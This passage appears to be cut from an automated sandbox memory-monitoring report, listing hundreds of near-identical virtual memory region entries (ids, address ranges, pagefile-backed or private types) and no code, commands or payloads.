0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1972 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1973 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1974 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1975 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1976 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1977 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1978 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1979 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1980 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1981 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1982 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1983 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1984 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1985 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1986 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1987 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1988 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1989 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1990 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1991 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1992 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1993 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1994 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1995 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1996 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1997 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1998 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1999 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2000 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2001 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2002 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2003 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2004 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2005 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2006 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2007 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2008 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2009 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2010 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2011 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2012 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2013 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2014 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2015 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2016 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2017 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2018 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2019 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2020 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2021 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2022 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2023 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2024 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2025 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2026 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2027 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2028 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2029 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2030 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2039 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2040 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2041 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2042 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2043 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2044 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2045 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2046 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2047 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2048 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2049 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2050 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2051 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2052 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2053 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2054 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2055 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2056 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2057 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2065 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2066 start_va = 0x220000 end_va = 0x233fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2067 start_va = 0x280000 end_va = 0x28dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 2068 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2069 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2070 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2071 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2072 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2073 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2074 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2075 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2076 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2077 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2078 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2079 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2080 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2081 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2082 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2083 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2084 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2085 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2086 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2087 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2088 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2089 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2090 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2091 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2092 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2093 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2094 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2095 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2096 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2097 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2098 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2099 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2100 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2101 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2102 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2103 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2104 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2105 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2106 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2107 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2108 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2109 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2110 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2111 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2112 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2113 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2114 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2115 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2116 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2117 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2118 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2119 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2120 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2121 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2122 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2123 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2124 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2125 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2126 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2127 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2128 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2129 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2130 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2131 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2132 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2133 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2134 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2135 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2136 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2137 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2138 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2139 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2140 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2141 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2142 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2143 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2144 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2145 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2146 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2147 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2148 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2149 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2150 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2151 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2152 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2153 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2154 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2155 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2156 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2157 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2158 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2159 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2160 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2161 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2162 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2163 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2173 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2174 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2175 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2176 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2177 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2178 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2179 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 2567 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2568 start_va = 0x220000 end_va = 0x233fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2569 start_va = 0x280000 end_va = 0x28dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 2570 start_va = 0x220000 end_va = 0x22dfff monitored = 1 